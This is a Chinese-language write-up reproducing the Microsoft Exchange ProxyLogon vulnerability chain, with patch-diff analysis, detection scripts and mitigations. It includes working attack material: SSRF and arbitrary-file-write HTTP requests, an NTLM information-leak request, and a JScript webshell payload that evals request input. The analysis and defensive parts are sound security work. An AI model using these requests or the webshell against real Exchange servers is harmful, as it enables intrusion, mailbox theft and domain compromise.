复现Microsoft Exchange Proxylogon漏洞利用链
字数 1916 2025-08-06 08:35:39
Microsoft Exchange Proxylogon漏洞利用链复现与分析
漏洞概述
ProxyLogon是Microsoft Exchange Server中的一系列漏洞(CVE-2021-26855等),允许攻击者绕过身份验证并模拟用户。这些漏洞在2021年初被广泛利用,攻击者可以访问邮箱账户并安装持久性恶意软件。
漏洞利用链组成
- CVE-2021-26855 - 服务器端请求伪造(SSRF)漏洞
- CVE-2021-26857 - 统一消息服务中的不安全反序列化漏洞
- CVE-2021-26858 - 另一个反序列化漏洞
- CVE-2021-27065 - 任意文件写入漏洞
复现环境准备
1. 搭建测试环境
- 使用Microsoft ADDSDeployment模块设置域控制器
- 下载易受攻击的Exchange版本(如Exchange 2013 CU23)
- 修改服务器配置脚本以启动2012-R2 Datacenter服务器
$vm=Set-AZVMSourceImage -VM $vm -PublisherName MicrosoftWindowsServer -Offer `
WindowsServer -Skus 2012-R2-Datacenter -Version "latest"
2. 获取补丁文件
- 从Microsoft更新目录下载补丁前和补丁后的安全更新汇总
- 从.cab文件中提取.msp文件
- 使用7zip解压缩.msp文件获取二进制文件
3. 分析工具准备
- dnSpy:用于反编译.NET应用程序
- JustAssembly:用于比较dll差异
- GitHub:用于代码差异比较
- socat:网络流量中继工具
- mimikatz:用于提取证书和密钥
漏洞详细分析
1. CVE-2021-26855 (SSRF漏洞)
漏洞原理
- Exchange HTTP代理(BEResourceRequestHandler)处理特定请求时存在缺陷
- 攻击者可以通过控制X-BEResource cookie来操纵后端请求目标
- 结合URI构造问题,可实现完全控制目标URL
利用步骤
- 发送包含特定标头的请求到/ecp中的"静态"文件
- 设置X-BEResource cookie控制后端连接的主机
- 通过精心构造的主机名获得对目标URL的完全控制
关键代码路径
ProxyModule.SelectHandlerForUnauthenticatedRequestBEResourceRequestHandler.CanHandleBackEndServer.FromStringProxyRequestHandler.GetTargetBackEndServerUrl
请求示例
POST /ecp/y.js HTTP/1.1
Host: exchange-server
Cookie: X-BEResource=exchange-server~1944332528
2. CVE-2021-27065 (任意文件写入漏洞)
漏洞原理
WriteFileActivity类直接将用户控制的文件名写入磁盘- 通过ECP的DDIService可以写入任意文件
- 结合VirtualDirectory重置功能可写入webshell
利用步骤
- 发送请求到
/ecp/DDI/DDIService.svc/SetObject - 控制
FilePathName参数指定写入路径 - 通过VirtualDirectory的URL字段注入恶意代码
请求示例
POST /ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary={csrf} HTTP/1.1
Host: localhost
Cookie: msExchEcpCanary={csrf};
Content-Type: application/json
{
"identity": {
"__type": "Identity:ECP",
"DisplayName": "OAB (Default Web Site)",
"RawIdentity": "cf64594f-d739-44a4-aa70-3fbd158625e2"
},
"properties": {
"Parameters": {
"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"FilePathName": "C:\\VirtualDirectory.aspx"
}
}
}
恶意URL示例
http://o/#<script language="JScript" runat="server">function Page_Load(){eval(Request["mlwqloai"],"unsafe");}</script>
3. CVE-2021-26857 (反序列化漏洞)
漏洞原理
Base64Deserialize方法直接将base64字符串传递给BinaryFormatter的反序列化- 可被ysoserial.net等工具利用
- 补丁移除了不安全方法并添加了类型验证
修补差异
// 修补前
public static object Base64Deserialize(string base64String)
// 修补后
public static object Base64Deserialize(string base64String, Type[] allowedTypes)
信息收集技术
1. 获取后端服务器和域信息
通过HTTP上的RPC协议泄漏信息:
- 发送请求到
/rpc/rpcproxy.dll - 解析NTLM质询消息中的AV_PAIR结构
- 获取
MsvAvDnsComputerName(后端服务器名)和MsvAvDnsTreeName(域名)
请求示例
RPC_IN_DATA /rpc/rpcproxy.dll HTTP/1.1
Host: frontend.exchange.contoso.com
User-Agent: MSRPC
Accept: application/rpc
Accept-Encoding: gzip, deflate
Authorization: NTLM TlRMTVNTUAABAAAABQKIoAAAAAAAAAAAAAAAAAAAAAA=
Content-Length: 0
Connection: close
检测与缓解
1. 检测脚本
# 检测SSRF日志
Import-Csv -Path (Get-ChildItem -Recurse -Path "$env:PROGRAMFILES\Microsoft\Exchange Server\V15\Logging\HttpProxy" -Filter '*.log').FullName `
| Where-Object { $_.AuthenticatedUser -eq '' -and $_.AnchorMailbox -like 'ServerInfo~*/*' } | select DateTime, AnchorMailbox
# 检测文件写入日志
Select-String -Path "$env:PROGRAMFILES\Microsoft\ExchangeServer\V15\Logging\ECP\Server\*.log" -Pattern 'Set-.+VirtualDirectory'
2. 检查域权限
import-module ActiveDirectory
$ADDomain = ''
$DomainTopLevelObjectDN = (Get-ADDomain $ADDomain).DistinguishedName
Get-ADObject -Identity $DomainTopLevelObjectDN -Properties * | select -ExpandProperty nTSecurityDescriptor | select -ExpandProperty Access | select IdentityReference,ActiveDirectoryRights,AccessControlType,IsInherited | Where-Object {($_.IdentityReference -like "*Exchange Windows Permissions*") -or ($_.IdentityReference -like "*Exchange Trusted Subsystem*")} | Where-Object {($_.ActiveDirectoryRights -like "*GenericAll*") -or ($_.ActiveDirectoryRights -like "*WriteDacl*")}
3. 缓解措施
- 应用Microsoft紧急补丁
- 使用URL重写模块阻止利用
- 启用"审核过程创建"审核策略和PowerShell日志记录
技术要点总结
- SSRF利用:通过控制X-BEResource cookie和精心构造的URI实现后端请求伪造
- 文件写入:利用ECP的DDIService和VirtualDirectory重置功能写入webshell
- 信息泄漏:通过RPC over HTTP协议泄漏后端服务器和域信息
- 权限提升:Exchange服务通常具有高权限,可导致域范围权限提升
防御建议
- 及时应用所有Exchange安全更新
- 监控Exchange日志中的异常活动
- 限制Exchange服务器在域中的权限
- 实施网络分段,限制Exchange服务器的出站连接
- 定期审核服务器上的异常文件和进程